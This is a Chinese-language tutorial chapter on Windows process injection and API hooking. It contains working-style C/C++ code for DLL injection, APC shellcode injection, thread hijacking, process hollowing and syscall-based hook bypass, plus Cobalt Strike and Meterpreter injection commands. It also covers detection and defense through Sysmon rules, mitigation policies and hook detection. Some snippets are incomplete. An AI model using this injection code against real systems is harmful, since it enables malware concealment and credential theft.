进程注入与 API 钩子完全指南
进程注入是恶意软件和红队攻击的核心技术。攻击者通过将恶意代码注入到合法进程中,实现隐藏、权限提升、凭证窃取等目的。API 钩子则是安全软件的核心技术,用于拦截和监控系统调用。本章深入分析进程注入的各种技术和 API 钩子的攻防博弈。
一、进程注入基础
1.1 为什么需要进程注入
GRAPH
TD
A[攻击者需要隐藏代码] --> B[注入到合法进程]
A --> C[绕过防火墙/安全软件]
A --> D[提升至目标进程权限]
A --> E[持久驻留系统]
B --> F[目标: explorer.exe, svchost.exe, lsass.exe]
D --> G[目标拥有高权限令牌]
1.2 注入流程
TEXT
1. 获取目标进程句柄 (OpenProcess)
2. 在目标进程中分配内存 (VirtualAllocEx)
3. 将载荷写入目标内存 (WriteProcessMemory)
4. 创建远程线程执行载荷 (CreateRemoteThread)
5. 或设置 APC 队列 (QueueUserAPC)
6. 清理痕迹
1.3 必要的 API
| API 函数 | 用途 | 攻击者视角 |
|---|---|---|
| OpenProcess | 获取目标进程句柄 | 需要 PROCESS_ALL_ACCESS |
| VirtualAllocEx | 在目标进程中分配内存 | 标记为 MEM_COMMIT |
| WriteProcessMemory | 写入载荷到目标内存 | 避免写入已知恶意签名 |
| CreateRemoteThread | 在目标进程中创建线程 | 经典但易检测 |
| GetProcAddress | 获取 API 地址 | 动态解析避免导入表检测 |
| NtCreateThreadEx | 底层线程创建 | 绕过 CreateRemoteThread 钩子 |
| RtlCreateUserThread | 在目标进程创建线程 | 绕过某些安全监控 |
二、经典注入技术
2.1 CreateRemoteThread DLL 注入
CPP
// classic_inject.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int inject(DWORD pid, const char* dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return -1;
// 在目标进程中分配内存存储 DLL 路径
void* pRemoteMem = VirtualAllocEx(
hProcess, NULL, strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
if (!pRemoteMem) { CloseHandle(hProcess); return -2; }
// 写入 DLL 路径
WriteProcessMemory(hProcess, pRemoteMem, dllPath, strlen(dllPath) + 1, NULL);
// 获取 LoadLibraryA 地址
FARPROC pLoadLibrary = GetProcAddress(
GetModuleHandle("kernel32.dll"), "LoadLibraryA"
);
// 创建远程线程
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteMem, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
2.2 反射式 DLL 注入
C
// 反射加载器 - 无需 LoadLibrary
typedef HMODULE(__stdcall *ReflectiveLoader)(void);
DWORD_PTR findReflectiveLoader(void* dllBase) {
// 1. 解析 DLL 的 PEB 找到导出表
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)dllBase;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)dllBase + dos->e_lfanew);
IMAGE_DATA_DIRECTORY* exports = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 2. 查找 ReflectiveLoader 函数
IMAGE_EXPORT_DIRECTORY* expDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)dllBase + exports->VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)dllBase + expDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)dllBase + expDir->AddressOfNameOrdinals);
DWORD* functions = (DWORD*)((BYTE*)dllBase + expDir->AddressOfFunctions);
for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
char* name = (char*)((BYTE*)dllBase + names[i]);
if (strcmp(name, "ReflectiveLoader") == 0) {
return (DWORD_PTR)dllBase + functions[ordinals[i]];
}
}
return 0;
}
2.3 APC 注入
CPP
void apc_inject(DWORD pid, unsigned char* shellcode, SIZE_T size) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = NULL;
THREADENTRY32 te32;
// 分配内存并写入 shellcode
void* pRemote = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, size, NULL);
// 遍历目标进程的线程
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
te32.dwSize = sizeof(THREADENTRY32);
Thread32First(hSnap, &te32);
do {
if (te32.th32OwnerProcessID == pid) {
hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
// 将 shellcode 排队到 APC 队列
QueueUserAPC((PAPCFUNC)pRemote, hThread, NULL);
CloseHandle(hThread);
}
} while (Thread32Next(hSnap, &te32));
// 目标线程下次进入可告警等待状态时将执行 shellcode
// 例如 WaitForSingleObject, SleepEx, MsgWaitForMultipleObjects
}
2.4 线程执行劫持
CPP
void thread_hijack(DWORD pid, unsigned char* shellcode, SIZE_T size) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 1. 暂停目标线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid);
SuspendThread(hThread);
// 2. 获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
// 3. 在目标进程中写入 shellcode
void* pRemote = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, size, NULL);
// 4. 修改线程入口指向 shellcode
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(hThread, &ctx);
// 5. 恢复线程执行
ResumeThread(hThread);
}
2.5 Process Hollowing
CPP
void process_hollow(char* targetPath, char* replacementPath) {
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
// 1. 以挂起方式创建目标进程
CreateProcess(targetPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. 获取目标进程的映像基址
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(pbi), NULL);
LPVOID imageBase = pbi.PebBaseAddress + offset; // PEB->ImageBaseAddress
// 3. 读取替换映像
HANDLE hFile = CreateFile(replacementPath, GENERIC_READ, 0, NULL,
OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* buffer = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
ReadFile(hFile, buffer, fileSize, NULL, NULL);
// 4. 卸载目标进程的原始映像
NtUnmapViewOfSection(pi.hProcess, imageBase);
// 5. 将替换映像的 PE 头写入目标
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(buffer + ((IMAGE_DOS_HEADER*)buffer)->e_lfanew);
VirtualAllocEx(pi.hProcess, imageBase, nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, imageBase, buffer, nt->OptionalHeader.SizeOfHeaders, NULL);
// 6. 写入 PE 节
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt) + i;
WriteProcessMemory(pi.hProcess,
(BYTE*)imageBase + section->VirtualAddress,
buffer + section->PointerToRawData,
section->SizeOfRawData, NULL);
}
// 7. 设置新入口点
ctx.Rcx = (DWORD64)imageBase + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// 8. 恢复线程
ResumeThread(pi.hThread);
}
三、高级注入技术
3.1 AtomBombing
C
// 利用全局原子表注入
// 1. 将 shellcode 编码为字符串存入全局原子表
// 2. 让目标进程通过 GlobalGetAtomName 读取
// 3. 利用 APC 执行
void atombomb(DWORD pid, BYTE* shellcode, SIZE_T size) {
// 原子表的每个条目最多 255 字节
// shellcode 需要分片
for (int i = 0; i < size; i += 254) {
char atomStr[256] = {0};
memcpy(atomStr, shellcode + i, min(254, size - i));
ATOM atom = GlobalAddAtomA(atomStr);
// 记录 atom 以便目标进程读取
}
}
3.2 Process Doppelganging
TEXT
利用 NTFS Transaction 实现:
1. 创建 NTFS 事务
2. 在事务中写入恶意 PE
3. 以挂起方式创建进程(数据源为事务中的 PE)
4. 回滚事务
5. 恢复进程
文件系统始终看到的是原始文件(事务已回滚)
但进程已在运行恶意代码
3.3 间接系统调用
C
// 直接使用 syscall 指令绕过 API 钩子
// 通过汇编直接调用系统调用号
__asm volatile (
"mov r10, rcx\n"
"mov eax, %1\n" // 系统调用号
"syscall\n"
"mov %0, rax\n"
: "=r"(result)
: "i"(SYSCALL_NUMBER)
: "rcx", "r10", "rax"
);
// 获取系统调用号的方法:
// 1. 从 ntdll.dll 中解析
// 2. 硬编码(需匹配 Windows 版本)
// 3. 使用 Hell's Gate / Halo's Gate 技术动态发现
四、API 钩子技术
4.1 Inline Hooking
C
// 5 字节跳转钩子 (x64)
// mov rax, address; jmp rax = 12 字节
BYTE hookCode[] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 目标地址
0xFF, 0xE0 // jmp rax
};
void set_hook(const char* module, const char* api, void* handler) {
HMODULE hMod = GetModuleHandleA(module);
void* target = GetProcAddress(hMod, api);
// 保存原始字节
BYTE orig[12];
ReadProcessMemory(GetCurrentProcess(), target, orig, 12, NULL);
// 写入跳转指令
DWORD oldProtect;
VirtualProtect(target, 12, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(hookCode + 2, &handler, 8);
memcpy(target, hookCode, 12);
VirtualProtect(target, 12, oldProtect, &oldProtect);
}
4.2 Detours (微软库)
C
#include "detours.h"
// trampoline 函数
static int (WINAPI *Real_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT) = MessageBoxW;
// 钩子处理函数
int WINAPI Hooked_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
// 记录调用
printf("MessageBoxW called: %ls\n", lpText);
// 修改内容
return Real_MessageBoxW(hWnd, L"We've been hooked!", lpCaption, uType);
}
void install_hook(void) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)Real_MessageBoxW, Hooked_MessageBoxW);
DetourTransactionCommit();
}
4.3 IAT Hooking
C
// IAT(Import Address Table)钩子 - 修改导入表地址
void iat_hook(const char* targetModule, const char* targetApi, void* handler) {
// 1. 获取当前模块的 PEB
// 2. 解析 PE 头的导入表
// 3. 找到目标 API 的 IAT 条目
// 4. 修改 IAT 地址
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)GetModuleHandle(NULL);
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)dos + dos->e_lfanew);
IMAGE_IMPORT_DESCRIPTOR* import = (IMAGE_IMPORT_DESCRIPTOR*)
((BYTE*)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
DWORD oldProtect;
while (import->Name) {
char* modName = (char*)((BYTE*)dos + import->Name);
if (strcmp(modName, targetModule) == 0) {
IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((BYTE*)dos + import->FirstThunk);
while (thunk->u1.Function) {
if (thunk->u1.Function == (DWORD_PTR)GetProcAddress(GetModuleHandle(targetModule), targetApi)) {
VirtualProtect(&thunk->u1.Function, 8, PAGE_READWRITE, &oldProtect);
thunk->u1.Function = (DWORD_PTR)handler;
VirtualProtect(&thunk->u1.Function, 8, oldProtect, &oldProtect);
return;
}
thunk++;
}
}
import++;
}
}
五、检测与防御
5.1 进程注入检测
| 检测技术 | 检测对象 | 工具/方法 |
|---|---|---|
| CreateRemoteThread 监控 | 跨进程线程创建 | Sysmon 事件 8 |
| 内存扫描 | PAGE_EXECUTE_READWRITE 内存 | Process Explorer |
| 调用栈回溯 | 异常的调用链 | API Monitor |
| ETW 追踪 | 进程创建/线程创建 | SilkETW |
| 行为分析 | 异常进程行为 | EDR |
5.2 Sysmon 检测规则
XML
<!-- 检测远程线程创建 -->
<RuleGroup name="" id="">
<EventFiltering>
<Rule name="Remote Thread Creation" groupRelation="and">
<SourceImage condition="excludes">C:\Program Files</SourceImage>
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<EventID>8</EventID>
</Rule>
</EventFiltering>
</RuleGroup>
<!-- 检测 API 钩子 -->
<RuleGroup>
<EventFiltering>
<ProcessAccess onmatch="include">
<TargetImage condition="end with">lsass.exe</TargetImage>
<CallTrace condition="excludes">C:\Windows\SYSTEM32\ntdll.dll</CallTrace>
</ProcessAccess>
</EventFiltering>
</RuleGroup>
5.3 反注入防御
C
// 保护关键进程不被注入
// 1. 使用 Callback API 注册保护
NTSTATUS status;
PROCESS_MITIGATION_POLICY policy = ProcessSignaturePolicy;
PROCESS_MITIGATION_SIGNATURE_POLICY sigPolicy;
sigPolicy.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(policy, &sigPolicy, sizeof(sigPolicy));
// 2. 禁用动态代码
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dcPolicy;
dcPolicy.ProhibitDynamicCode = 1;
SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dcPolicy, sizeof(dcPolicy));
// 3. 禁用 Win32k 系统调用
PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY scPolicy;
scPolicy.DisallowWin32kSystemCalls = 1;
SetProcessMitigationPolicy(ProcessSystemCallDisablePolicy, &scPolicy, sizeof(scPolicy));
5.4 钩子检测
C
// 检测 inline hook
bool detect_hook(const char* module, const char* api) {
HMODULE hMod = GetModuleHandleA(module);
void* target = GetProcAddress(hMod, api);
BYTE buffer[16];
ReadProcessMemory(GetCurrentProcess(), target, buffer, 16, NULL);
// 检查前 2 字节是否 jmp relative (0xE9)
if (buffer[0] == 0xE9) return true;
// 检查 x64 跳转模式 (mov rax, addr; jmp rax)
if (buffer[0] == 0x48 && buffer[1] == 0xB8 &&
buffer[10] == 0xFF && buffer[11] == 0xE0) return true;
// 检查 int3 断点
if (buffer[0] == 0xCC) return true;
return false;
}
六、工具与实战
6.1 注入工具
BASH
# Cobalt Strike 进程注入
inject <pid> <listener>
# 或
shinject <pid> <shellcode_file>
# MSF 注入
meterpreter > migrate <pid>
meterpreter > post/windows/manage/reflective_dll_inject DLL=/path/to.dll
# Meterpreter 自动进程迁移
meterpreter > run post/windows/manage/migrate
6.2 钩子框架
TEXT
Detours (微软) - 官方 IAT/Inline hooking 库
minHook - 轻量级 x86/x64 hooking 库
EasyHook - 支持托管/非托管代码
Frida - 跨平台动态插桩框架
mhook - 开源 hooking 库
6.3 Frida 动态插桩
JAVASCRIPT
// Frida 脚本 - hook CreateFileW
Interceptor.attach(Module.findExportByName("kernel32.dll", "CreateFileW"), {
onEnter: function(args) {
var path = Memory.readUtf16String(args[0]);
console.log("[CreateFileW] " + path);
// 阻止写入恶意文件
if (path.includes("evil.exe")) {
this.retval = 0xFFFFFFFF; // INVALID_HANDLE_VALUE
console.log("\tBlocked!");
}
},
onLeave: function(retval) {
console.log("\tReturned: " + retval);
}
});
七、总结
| 注入技术 | 原理 | 检测难度 | 防御 |
|---|---|---|---|
| CreateRemoteThread DLL | 远程线程 LoadLibrary | 低 | Sysmon 8 |
| 反射式 DLL 注入 | 自加载 DLL | 中 | 内存扫描 |
| APC 注入 | APC 队列远程线程 | 中 | 线程监控 |
| Process Hollowing | 替换进程 PE | 高 | ETW 跟踪 |
| AtomBombing | 原子表传递 Shellcode | 高 | 原子表监控 |
| Doppelganging | NTFS 事务 | 极高 | 事务监控 |
| 间接系统调用 | 绕过 API 钩子 | 极高 | 内核回调 |